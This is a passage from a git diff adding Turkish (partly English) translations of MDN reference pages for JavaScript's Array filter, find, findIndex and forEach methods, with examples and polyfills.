belirlenmesi için kullanılan genel kurallara göre belirlenir.</a></p> + +<p><code>filter()</code> çağrıldığı diziyi değiştirmez.</p> + +<p><code>filter()</code> tarafından işlenen elemanların aralığı, ilk geri çağırma <code>callback</code> çağrısından önce ayarlanır. <code>filter()</code> çağrısı başladıktan sonra diziye eklenen öğeler, geri çağırma <code>callback</code> tarafından ziyaret edilmeyecektir. Dizinin mevcut elemanları değiştirilir veya silinirse, geri çağırmaya <code>callback</code> iletilen değerleri <code>filter()</code> tarafından ziyaret edilen zamanın değeri olacaktır; silinen öğeler ziyaret edilmez.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Tüm_küçük_değerleri_filtrelemek">Tüm küçük değerleri filtrelemek</h3> + +<p>Aşağıdaki örnek, tüm öğeleri 10'dan daha küçük değerlere sahip filtreli bir dizi oluşturmak için <code>filter()</code> kullanır.</p> + +<pre class="brush: js">function isBigEnough(value) { + return value >= 10; +} + +var filtered = [12, 5, 8, 130, 44].filter(isBigEnough); +// filtered is [12, 130, 44] +</pre> + +<h3 id="JSON'dan_geçersiz_girişleri_filtrelemek">JSON'dan geçersiz girişleri filtrelemek</h3> + +<p>Aşağıdaki örnek, 0 olmayan,numeric <code>id</code> olan tüm öğelerin filtrelenmiş bir jsonunu oluşturmak için <code>filter()</code> işlevini kullanır. </p> + +<pre class="brush: js">var arr = [ + { id: 15 }, + { id: -1 }, + { id: 0 }, + { id: 3 }, + { id: 12.2 }, + { }, + { id: null }, + { id: NaN }, + { id: 'undefined' } +]; + +var invalidEntries = 0; + +function isNumber(obj) { + return obj !== undefined && typeof(obj) === 'number' && !isNaN(obj); +} + +function filterByID(item) { + if (isNumber(item.id) && item.id !== 0) { + return true; + } + invalidEntries++; + return false; +} + +var arrByID = arr.filter(filterByID); + +console.log('Filtered Array\n', arrByID); +// Filtered Array +// [{ id: 15 }, { id: -1 }, { id: 3 }, { id: 12.2 }] + +console.log('Number of Invalid Entries = ', invalidEntries); +// Number of Invalid Entries = 5 +</pre> + +<h3 id="Array_içinde_arama_yapmak">Array içinde arama yapmak</h3> + +<p> </p> + +<p>Aşağıdaki örnek, arama keriterlerine göre dizi içeriğini filtrelemek için filter() işlevini kullanır</p> + +<p> </p> + +<pre class="brush: js">var fruits = ['apple', 'banana', 'grapes', 'mango', 'orange']; + +/** + * Array filters items based on search criteria (query) + */ +function filterItems(query) { + return fruits.filter(function(el) { + return el.toLowerCase().indexOf(query.toLowerCase()) > -1; + }) +} + +console.log(filterItems('ap')); // ['apple', 'grapes'] +console.log(filterItems('an')); // ['banana', 'mango', 'orange']</pre> + +<h3 id="ES2015_İmplementasyonu">ES2015 İmplementasyonu</h3> + +<pre class="brush: js">const fruits = ['apple', 'banana', 'grapes', 'mango', 'orange']; + +/** + * Array filters items based on search criteria (query) + */ +const filterItems = (query) => { + return fruits.filter(el => el.toLowerCase().indexOf(query.toLowerCase()) > -1); +}; + +console.log(filterItems('ap')); // ['apple', 'grapes'] +console.log(filterItems('an')); // ['banana', 'mango', 'orange'] + +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>5. basımda ECMA-262 standardına filter () eklenmiştir; bu nedenle standardın tüm uygulamalarında bulunmayabilir. Bu kodu, komut dosyalarınızın başına aşağıdaki kodu ekleyerek ve doğal olarak desteklemeyen ECMA-262 uygulamalarında filter() kullanımına izin vererek çözebilirsiniz. Bu algoritma, fn.call öğesinin {{jsxref ("Function.prototype.bind ()")}} özgün değerini değerlendirdiğini varsayarsak, ECMA-262, 5. basımda belirtilene tamamen eşdeğerdir ve bu {{jsxref ("Array.prototype.push ()")}} orijinal değerine sahiptir</p> + +<pre class="brush: js">if (!Array.prototype.filter){ + Array.prototype.filter = function(func, thisArg) { + 'use strict'; + if ( ! ((typeof func === 'Function' || typeof func === 'function') && this) ) + throw new TypeError(); + + var len = this.length >>> 0, + res = new Array(len), // preallocate array + t = this, c = 0, i = -1; + if (thisArg === undefined){ + while (++i !== len){ + // checks to see if the key was set + if (i in this){ + if (func(t[i], i, t)){ + res[c++] = t[i]; + } + } + } + } + else{ + while (++i !== len){ + // checks to see if the key was set + if (i in this){ + if (func.call(thisArg, t[i], i, t)){ + res[c++] = t[i]; + } + } + } + } + + res.length = c; // shrink down array to proper size + return res; + }; +}</pre> + +<p> </p> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Özellikler</th> + <th scope="col">Statüler</th> + <th scope="col">Yorumlar</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.4.20', 'Array.prototype.filter')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>İlk tanım JavaScript 1.6'da uygulanmıştır.</td> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<div> +<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden üretilmiştir. Verilere katkıda bulunmak istiyorsanız, lütfen https://github.com/mdn/browser-compat-data adresini ziyaret edin ve bize bir istek gönderin.</div> + +<p>{{Compat("javascript.builtins.Array.filter")}}</p> +</div> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li>{{jsxref("Array.prototype.forEach()")}}</li> + <li>{{jsxref("Array.prototype.every()")}}</li> + <li>{{jsxref("Array.prototype.some()")}}</li> + <li>{{jsxref("Array.prototype.reduce()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/find/index.html b/files/tr/web/javascript/reference/global_objects/array/find/index.html new file mode 100644 index 0000000000..76d5e38687 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/find/index.html @@ -0,0 +1,205 @@ +--- +title: Array.prototype.find() +slug: Web/JavaScript/Reference/Global_Objects/Array/find +translation_of: Web/JavaScript/Reference/Global_Objects/Array/find +--- +<div>{{JSRef}}</div> + +<p><code><strong>find()</strong></code> metodu parametre olarak verilen, true/false değer döndüren test fonksiyonunu karşılayan dizi içerisindeki ilk elemanın <strong>değerini</strong> döndürür. Aksi halde {{jsxref("undefined")}} döndürür.</p> + +<pre class="brush: js">function yeterinceBuyuk(eleman) { + return eleman >= 15; +} + +[12, 5, 8, 130, 44].find(yeterinceBuyuk); // 130</pre> + +<p>Ayrıca {{jsxref("Array.findIndex", "findIndex()")}} metoduna bakınız, bu metod dizi içerisinde bulunan elemanın değeri yerine <strong>indeksini</strong> döndürür.</p> + +<p>Dizi içerisindeki elemanın pozizyonunu bulmak ya da var olup olmadığına bakmak için {{jsxref("Array.prototype.indexOf()")}} veya {{jsxref("Array.prototype.includes()")}} kullanabilirsiniz.</p> + +<h2 id="Sözdizim">Sözdizim</h2> + +<pre class="syntaxbox"><em>arr</em>.find(<var>gericagrim</var>[, <var>thisArg</var>])</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>gericagrim</code></dt> + <dd>Dizi içerisindeki her bir değer için çalıştırılacak fonksiyon, üç parametre alır: + <dl> + <dt><code>eleman</code></dt> + <dd>Dizideki işlenen mevcut eleman.</dd> + <dt><code>indeks</code></dt> + <dd>Dizideki işlenen mevcut elemanın indeksi.</dd> + <dt><code>dizi</code></dt> + <dd><code>find</code> metodunun çağırıldığı dizi.</dd> + </dl> + </dd> + <dt><code>thisArg</code> <code>{{Optional_inline}}</code></dt> + <dd> <code>gericagrim</code> çalıştığında <code>this</code> olarak kullanılan nesne.</dd> +</dl> + +<h3 id="Dönüş_değeri">Dönüş değeri</h3> + +<p>Eğer test doğrulanırsa dizi içerisindeki bir değer; değilse, {{jsxref("undefined")}}.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<p><code>find</code> metodu <code>gericagrim</code> fonksiyonu doğru bir değer döndürene kadar her bir indeks için bir sefer <code>gericagrim</code> fonksiyonunu çalıştırır. Eğer böyle bir eleman bulunduysa, <code>find</code> derhal bu elemanın değerini döndürür. Aksi halde, <code>find</code> {{jsxref("undefined")}} döndürür. <code>gericagrim</code> <code>0</code> dan <code>length - 1</code> dahil olmak üzere değer atanan ya da atanmayan dizinin her bir elemanı için çağırılır. Bu, aralıklı diziler için sadece değer atanan indeksleri ziyaret eden diğer metodlardan daha verimsiz olduğu anlamına gelmektedir. </p> + +<p><code>gericagrim</code> üç parametre ile çağırılır: dizi elemanının değeri, dizi elemanının indeksi, ve geçilen dizi nesnesi.</p> + +<p>Eğer bir <code>thisArg</code> parametresi <code>find</code> için sağlanırsa, bu parametre <code>gericagrim</code> fonksiyonunun her çağırılışı için <code>this</code> olarak kullanılacaktır. Eğer sağlanmazsa, {{jsxref("undefined")}} kullanılır.</p> + +<p><code>find</code> üzerinde çağırıldığı diziyi değiştirmez.</p> + +<p><code>find</code> tarafından işlenilen elemanların aralığı <code>gericagrim</code> fonksiyonunun ilk çağırılışından önce atanır. <code>find</code> çağırılmaya başlandığından sonra diziye eklenen elemanlar <code>gericagrim</code> tarafından ziyaret edilmeyecektir. Eğer varolan, ziyaret edilmeyen eleman <code>gericagrim</code> tarafından değiştirilirse, bu elemanı ziyaret eden <code>gericagrim</code> fonkisyonuna aktarılan değeri <code>find</code> metodunun bu elemanın indeksini ziyaret edeceği andaki değer olacaktır; silenen elemanlar yine de ziyaret edilecektir.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Dizi_içerisindeki_nesneyi_bir_özelliğinden_bulmak">Dizi içerisindeki nesneyi bir özelliğinden bulmak</h3> + +<pre class="brush: js">var envanter = [ + {isim: 'elma', miktar: 2}, + {isim: 'muz', miktar: 0}, + {isim: 'kiraz', miktar: 5} +]; + +function kirazlariBul(meyve) { + return meyve.isim === 'kiraz'; +} + +console.log(envanter.find(kirazlariBul)); +// { isim: 'kiraz', miktar: 5 }</pre> + +<h3 id="Dizi_içerisindeki_bir_asal_sayıyı_bulmak">Dizi içerisindeki bir asal sayıyı bulmak</h3> + +<p>Aşağıdaki örnek dizi içerisindeki bir asal sayı olan elemanı bulur (ya da eğer asal sayı yoksa {{jsxref("undefined")}} döndürür).</p> + +<pre class="brush: js">function asalMi(eleman, indeks, dizi) { + var baslangic = 2; + while (baslangic <= Math.sqrt(eleman)) { + if (eleman % baslangic++ < 1) { + return false; + } + } + return eleman > 1; +} + +console.log([4, 6, 8, 12].find(asalMi)); // undefined, bulunamadı +console.log([4, 5, 8, 12].find(asalMi)); // 5 +</pre> + +<p>Aşağıdaki örnek varolmayan ve silinen elemanların ziyaret edildiğini ve gericağrım fonksiyonuna gönderilen değerin ziyaret edildikleri andaki değerleri olduğunu gösterir.</p> + +<pre class="brush: js">// İndeks 2, 3 ve 4 için elemanı bulunmayan bir dizi tanımlar +var a = [0,1,,,,5,6]; + +// Sadece değer atanmış olanlar değil, tüm indeksleri gösterir +a.find(function(deger, indeks) { + console.log('Ziyaret edilen indeks ' + indeks + ' ve değeri ' + deger); +}); + +// Silinenler dahil, bütün indeksleri gösterir +a.find(function(deger, indeks) { + + // İndeksi 5 olan elamanı birinci iterasyonda siler + if (indeks == 0) { + console.log('a[5] siliniyor ve değeri ' + a[5]); + delete a[5]; + } + // İndeksi 5 olan elaman silinse bile yine de ziyaret edilir + console.log('Ziyaret edilen indeks ' + indeks + ' ve değeri ' + deger); +}); + +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>Bu metod ECMAScript 2015 spesifikasyonuna eklenmiştir ve tüm JavaScript implementasyonlarında kullanıma hazır olmayabilir. Fakat, aşağıdaki kod parçacığı ile <code>Array.prototype.find</code> polyfill yapabilirsiniz:</p> + +<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.find +if (!Array.prototype.find) { + Object.defineProperty(Array.prototype, 'find', { + value: function(predicate) { + // 1. Let O be ? ToObject(this value). + if (this == null) { + throw new TypeError('"this" is null or not defined'); + } + + var o = Object(this); + + // 2. Let len be ? ToLength(? Get(O, "length")). + var len = o.length >>> 0; + + // 3. If IsCallable(predicate) is false, throw a TypeError exception. + if (typeof predicate !== 'function') { + throw new TypeError('predicate must be a function'); + } + + // 4. If thisArg was supplied, let T be thisArg; else let T be undefined. + var thisArg = arguments[1]; + + // 5. Let k be 0. + var k = 0; + + // 6. Repeat, while k < len + while (k < len) { + // a. Let Pk be ! ToString(k). + // b. Let kValue be ? Get(O, Pk). + // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)). + // d. If testResult is true, return kValue. + var kValue = o[k]; + if (predicate.call(thisArg, kValue, k, o)) { + return kValue; + } + // e. Increase k by 1. + k++; + } + + // 7. Return undefined. + return undefined; + } + }); +} +</pre> + +<p>Eğer <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code> desteği bulunmayan tamamen eskimiş JavaScript motorları için ihtiyacınız varsa, <code>Array.prototype</code> metodlarını polyfill yapmamanız en doğrusudur, çünkü bu metodlar numaralandırılabilir olmayan metodlardır.</p> + +<h2 id="Spesifikasyonlar">Spesifikasyonlar</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spesifikasyon</th> + <th scope="col">Durum</th> + <th scope="col">Açıklama</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-array.prototype.find', 'Array.prototype.find')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>İlk tanım.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.find', 'Array.prototype.find')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.find")}}</p> +</div> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li>{{jsxref("Array.prototype.findIndex()")}} – bulur ve indeksi döndürür</li> + <li>{{jsxref("Array.prototype.filter()")}} – eşleşen bütün elemanları bulur</li> + <li>{{jsxref("Array.prototype.every()")}} – bütün elemanları birlikte test eder</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/findindex/index.html b/files/tr/web/javascript/reference/global_objects/array/findindex/index.html new file mode 100644 index 0000000000..409222cf45 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/findindex/index.html @@ -0,0 +1,177 @@ +--- +title: Array.prototype.findIndex() +slug: Web/JavaScript/Reference/Global_Objects/Array/findIndex +translation_of: Web/JavaScript/Reference/Global_Objects/Array/findIndex +--- +<div>{{JSRef}}</div> + +<p>FindIndex () yöntemi, sağlanan test işlevini karşılayan dizideki ilk öğenin dizinini döndürür. Aksi takdirde -1 iade edilir.</p> + +<div>{{EmbedInteractiveExample("pages/js/array-findindex.html")}}</div> + +<p class="hidden">Bu interaktif örneğin için kaynak bir GitHub deposunda saklanır. Etkileşimli örnek projesine katkıda bulunmak isterseniz, lütfen https://github.com/mdn/interactive-examples klonlayın ve bize bir çekme isteği gönderin.</p> + +<div> </div> + +<p>Ayrıca, dizinde bulunan dizinin yerine bulunan bir öğenin değerini döndüren {{jsx ref ("Array.find", "find ()")}} yöntemine de bakın.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><var>arr</var>.findIndex(<var>callback</var>[, <var>thisArg</var>])</pre> + +<h3 id="Parameters">Parameters</h3> + +<dl> + <dt><code>callback</code></dt> + <dd>Function to execute on each value in the array, taking three arguments: + <dl> + <dt><code>element</code></dt> + <dd>The current element being processed in the array.</dd> + <dt><code>index</code>{{optional_inline}}</dt> + <dd>The index of the current element being processed in the array.</dd> + <dt><code>array</code>{{optional_inline}}</dt> + <dd>The array <code>findIndex</code> was called upon.</dd> + </dl> + </dd> + <dt><code>thisArg</code>{{optional_inline}}</dt> + <dd>Optional. Object to use as <code>this</code> when executing <code>callback</code>.</dd> +</dl> + +<h3 id="Return_value">Return value</h3> + +<p>An index in the array if an element passes the test; otherwise, <strong>-1</strong>.</p> + +<h2 id="Description">Description</h2> + +<p>The <code>findIndex</code> method executes the <code>callback</code> function once for every array index <code>0..length-1</code> (inclusive) in the array until it finds one where <code>callback</code> returns a truthy value (a value that coerces to <code>true</code>). If such an element is found, <code>findIndex</code> immediately returns the index for that iteration. If the callback never returns a truthy value or the array's <code>length</code> is 0, <code>findIndex</code> returns -1. Unlike some other array methods such as Array#some, in sparse arrays the <code>callback</code> <strong>is</strong> called even for indexes of entries not present in the array.</p> + +<p><code>callback</code> is invoked with three arguments: the value of the element, the index of the element, and the Array object being traversed.</p> + +<p>If a <code>thisArg</code> parameter is provided to <code>findIndex</code>, it will be used as the <code>this</code> for each invocation of the <code>callback</code>. If it is not provided, then {{jsxref("undefined")}} is used.</p> + +<p><code>findIndex</code> does not mutate the array on which it is called.</p> + +<p>The range of elements processed by <code>findIndex</code> is set before the first invocation of <code>callback</code>. Elements that are appended to the array after the call to <code>findIndex</code> begins will not be visited by <code>callback</code>. If an existing, unvisited element of the array is changed by <code>callback</code>, its value passed to the visiting <code>callback</code> will be the value at the time that <code>findIndex</code> visits that element's index; elements that are deleted are still visited.</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Find_the_index_of_a_prime_number_in_an_array">Find the index of a prime number in an array</h3> + +<p>The following example finds the index of an element in the array that is a prime number (or returns -1 if there is no prime number).</p> + +<pre class="brush: js">function isPrime(element, index, array) { + var start = 2; + while (start <= Math.sqrt(element)) { + if (element % start < 1) { + return false; + } else { + start++; + } + } + return element > 1; +} + +console.log([4, 6, 8, 12].findIndex(isPrime)); // -1, not found +console.log([4, 6, 7, 12].findIndex(isPrime)); // 2 +</pre> + +<h3 id="Find_index_using_arrow_function">Find index using arrow function</h3> + +<p>The following example finds the index of a fruit using an arrow function.</p> + +<pre class="brush: js">const fruits = ["apple", "banana", "cantaloupe", "blueberries", "grapefruit"]; + +const index = fruits.findIndex(fruit => fruit === "blueberries"); + +console.log(index); // 3 +console.log(fruits[index]); // blueberries +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.findIndex +if (!Array.prototype.findIndex) { + Object.defineProperty(Array.prototype, 'findIndex', { + value: function(predicate) { + // 1. Let O be ? ToObject(this value). + if (this == null) { + throw new TypeError('"this" is null or not defined'); + } + + var o = Object(this); + + // 2. Let len be ? ToLength(? Get(O, "length")). + var len = o.length >>> 0; + + // 3. If IsCallable(predicate) is false, throw a TypeError exception. + if (typeof predicate !== 'function') { + throw new TypeError('predicate must be a function'); + } + + // 4. If thisArg was supplied, let T be thisArg; else let T be undefined. + var thisArg = arguments[1]; + + // 5. Let k be 0. + var k = 0; + + // 6. Repeat, while k < len + while (k < len) { + // a. Let Pk be ! ToString(k). + // b. Let kValue be ? Get(O, Pk). + // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)). + // d. If testResult is true, return k. + var kValue = o[k]; + if (predicate.call(thisArg, kValue, k, o)) { + return k; + } + // e. Increase k by 1. + k++; + } + + // 7. Return -1. + return -1; + }, + configurable: true, + writable: true + }); +} +</pre> + +<p>If you need to support truly obsolete JavaScript engines that don't support <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, it's best not to polyfill <code>Array.prototype</code> methods at all, as you can't make them non-enumerable.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-array.prototype.findindex', 'Array.prototype.findIndex')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.findIndex")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Array.prototype.find()")}}</li> + <li>{{jsxref("Array.prototype.indexOf()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/foreach/index.html b/files/tr/web/javascript/reference/global_objects/array/foreach/index.html new file mode 100644 index 0000000000..46d677f17a --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/foreach/index.html @@ -0,0 +1,308 @@ +--- +title: Array.prototype.forEach() +slug: Web/JavaScript/Reference/Global_Objects/Array/forEach +translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach +--- +<div>{{JSRef}}</div> + +<p><code><strong>forEach()</strong></code> metodu dizideki her eleman için verilen metodu çalıştırır.</p> + +<div>{{EmbedInteractiveExample("pages/js/array-foreach.html")}}</div> + +<p class="hidden">Bu interaktif örneğin kaynağını GitHub deposunda bulabilirsiniz. Eğer bu interaktif projelere katkı sağlamak isterseni, <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> adresindeki depoyu klonlayın ve bize pull request'i gönderin.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><var>arr</var>.forEach(function <var>callback(currentValue[, index[, array]]) { + //your iterator +}</var>[, <var>thisArg</var>]);</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>callback</code></dt> + <dd>Aşağıdaki üç parametreyi alan ve dizinin her elemanı için çalışan fonksiyon.</dd> + <dd> + <dl> + <dt><code>currentValue</code>{{optional_inline}}</dt> + <dd>İşlenmekte olan dizi elemanı.</dd> + <dt><code>index</code>{{optional_inline}}</dt> + <dd>İşlenmekte olan dizi elemanının indeksi, yani dizideki sırası.</dd> + <dt><code>array</code>{{optional_inline}}</dt> + <dd><code>forEach()</code> in uygulanmakta olduğu dizi.</dd> + </dl> + </dd> + <dt><code>thisArg</code> {{Optional_inline}}</dt> + <dd> + <p><code>callback</code> fonksiyonu çağırılırken, fonksiyon içerisinde <code><strong>this</strong></code> yerine kullanılılabilecek değer.</p> + </dd> +</dl> + +<h3 id="Dönüş_Değeri">Dönüş Değeri</h3> + +<p>{{jsxref("undefined")}}.</p> + +<h2 id="Tanım">Tanım</h2> + +<p><code>forEach()</code> tanımlanmış olan <code>callback</code> fonksiyonunu dizideki her eleman için bir kere olmak üzere, indeks sırasına göre artan şekilde çalıştırır. Silinmiş ya da tanımsız olan elemanlar için fonksiyon çalışmaz (örnek: seyrek diziler).</p> + +<p>Dizinin</p> + +<p><code>callback</code> çağırılırken aşağıdaki <strong>üç parametre kullanılır</strong>:</p> + +<ul> + <li>Dizi elemanının değeri</li> + <li>Dizi elemanının indeksi</li> + <li>Döngünün gerçekleştiği dizinin kendisi</li> +</ul> + +<p>If a <code>thisArg</code> parameter is provided to <code>forEach()</code>, it will be used as callback's <code>this</code> value. Otherwise, the value {{jsxref("undefined")}} will be used as its <code>this</code> value. The <code>this</code> value ultimately observable by <code>callback</code> is determined according to <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">the usual rules for determining the <code>this</code> seen by a function</a>.</p> + +<p>The range of elements processed by <code>forEach()</code> is set before the first invocation of <code>callback</code>. Elements that are appended to the array after the call to <code>forEach()</code> begins will not be visited by <code>callback</code>. If the values of existing elements of the array are changed, the value passed to <code>callback</code> will be the value at the time <code>forEach()</code> visits them; elements that are deleted before being visited are not visited. If elements that are already visited are removed (e.g. using {{jsxref("Array.prototype.shift()", "shift()")}}) during the iteration, later elements will be skipped - see example below.</p> + +<p><code>forEach()</code> executes the <code>callback</code> function once for each array element; unlike {{jsxref("Array.prototype.map()", "map()")}} or {{jsxref("Array.prototype.reduce()", "reduce()")}} it always returns the value {{jsxref("undefined")}} and is not chainable. The typical use case is to execute side effects at the end of a chain.</p> + +<p><code>forEach()</code> does not mutate the array on which it is called (although <code>callback</code>, if invoked, may do so).</p> + +<div class="note"> +<p>There is no way to stop or break a <code>forEach()</code> loop other than by throwing an exception. If you need such behavior, the <code>forEach()</code> method is the wrong tool.</p> + +<p>Early termination may be accomplished with:</p> + +<ul> + <li>A simple loop</li> + <li>A <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a> loop</li> + <li>{{jsxref("Array.prototype.every()")}}</li> + <li>{{jsxref("Array.prototype.some()")}}</li> + <li>{{jsxref("Array.prototype.find()")}}</li> + <li>{{jsxref("Array.prototype.findIndex()")}}</li> +</ul> + +<p>The other Array methods: {{jsxref("Array.prototype.every()", "every()")}}, {{jsxref("Array.prototype.some()", "some()")}}, {{jsxref("Array.prototype.find()", "find()")}}, and {{jsxref("Array.prototype.findIndex()", "findIndex()")}} test the array elements with a predicate returning a truthy value to determine if further iteration is required.</p> +</div> + +<h2 id="Examples">Examples</h2> + +<h3 id="Converting_a_for_loop_to_forEach">Converting a for loop to forEach</h3> + +<p>before</p> + +<pre class="brush:js">const items = ['item1', 'item2', 'item3']; +const copy = []; + +for (let i=0; i<items.length; i++) { + copy.push(items[i]) +} +</pre> + +<p>after</p> + +<pre class="brush:js">const items = ['item1', 'item2', 'item3']; +const copy = []; + +items.forEach(function(item){ + copy.push(item) +}); + +</pre> + +<p> </p> + +<h3 id="Printing_the_contents_of_an_array">Printing the contents of an array</h3> + +<p>The following code logs a line for each element in an array:</p> + +<pre class="brush:js">function logArrayElements(element, index, array) { + console.log('a[' + index + '] = ' + element); +} + +// Notice that index 2 is skipped since there is no item at +// that position in the array. +[2, 5, , 9].forEach(logArrayElements); +// logs: +// a[0] = 2 +// a[1] = 5 +// a[3] = 9 +</pre> + +<h3 id="Using_thisArg">Using <code>thisArg</code></h3> + +<p>The following (contrived) example updates an object's properties from each entry in the array:</p> + +<pre class="brush:js">function Counter() { + this.sum = 0; + this.count = 0; +} +Counter.prototype.add = function(array) { + array.forEach(function(entry) { + this.sum += entry; + ++this.count; + }, this); + // ^---- Note +}; + +const obj = new Counter(); +obj.add([2, 5, 9]); +obj.count; +// 3 +obj.sum; +// 16 +</pre> + +<p>Since the <code>thisArg</code> parameter (<code>this</code>) is provided to <code>forEach()</code>, it is passed to <code>callback</code> each time it's invoked, for use as its <code>this</code> value.</p> + +<div class="note"> +<p>If passing the function argument using an <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow function expression</a> the <code>thisArg</code> parameter can be omitted as arrow functions lexically bind the {{jsxref("Operators/this", "this")}} value.</p> +</div> + +<h3 id="An_object_copy_function">An object copy function</h3> + +<p>The following code creates a copy of a given object. There are different ways to create a copy of an object; the following is just one way and is presented to explain how <code>Array.prototype.forEach()</code> works by using ECMAScript 5 <code>Object.*</code> meta property functions.</p> + +<pre class="brush: js">function copy(obj) { + const copy = Object.create(Object.getPrototypeOf(obj)); + const propNames = Object.getOwnPropertyNames(obj); + + propNames.forEach(function(name) { + const desc = Object.getOwnPropertyDescriptor(obj, name); + Object.defineProperty(copy, name, desc); + }); + + return copy; +} + +const obj1 = { a: 1, b: 2 }; +const obj2 = copy(obj1); // obj2 looks like obj1 now +</pre> + +<h3 id="If_the_array_is_modified_during_iteration_other_elements_might_be_skipped.">If the array is modified during iteration, other elements might be skipped.</h3> + +<p>The following example logs "one", "two", "four". When the entry containing the value "two" is reached, the first entry of the whole array is shifted off, which results in all remaining entries moving up one position. Because element "four" is now at an earlier position in the array, "three" will be skipped. <code>forEach()</code> does not make a copy of the array before iterating.</p> + +<pre class="brush:js">var words = ['one', 'two', 'three', 'four']; +words.forEach(function(word) { + console.log(word); + if (word === 'two') { + words.shift(); + } +}); +// one +// two +// four +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p><code>forEach()</code> was added to the ECMA-262 standard in the 5th edition; as such it may not be present in other implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>forEach()</code> in implementations that don't natively support it. This algorithm is exactly the one specified in ECMA-262, 5th edition, assuming {{jsxref("Object")}} and {{jsxref("TypeError")}} have their original values and that <code>callback.call()</code> evaluates to the original value of {{jsxref("Function.prototype.call()")}}.</p> + +<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.18 +// Reference: http://es5.github.io/#x15.4.4.18 +if (!Array.prototype.forEach) { + + Array.prototype.forEach = function(callback/*, thisArg*/) { + + var T, k; + + if (this == null) { + throw new TypeError('this is null or not defined'); + } + + // 1. Let O be the result of calling toObject() passing the + // |this| value as the argument. + var O = Object(this); + + // 2. Let lenValue be the result of calling the Get() internal + // method of O with the argument "length". + // 3. Let len be toUint32(lenValue). + var len = O.length >>> 0; + + // 4. If isCallable(callback) is false, throw a TypeError exception. + // See: http://es5.github.com/#x9.11 + if (typeof callback !== 'function') { + throw new TypeError(callback + ' is not a function'); + } + + // 5. If thisArg was supplied, let T be thisArg; else let + // T be undefined. + if (arguments.length > 1) { + T = arguments[1]; + } + + // 6. Let k be 0. + k = 0; + + // 7. Repeat while k < len. + while (k < len) { + + var kValue; + + // a. Let Pk be ToString(k). + // This is implicit for LHS operands of the in operator. + // b. Let kPresent be the result of calling the HasProperty + // internal method of O with argument Pk. + // This step can be combined with c. + // c. If kPresent is true, then + if (k in O) { + + // i. Let kValue be the result of calling the Get internal + // method of O with argument Pk. + kValue = O[k]; + + // ii. Call the Call internal method of callback with T as + // the this value and argument list containing kValue, k, and O. + callback.call(T, kValue, k, O); + } + // d. Increase k by 1. + k++; + } + // 8. return undefined. + }; +} +</pre> + +<h2 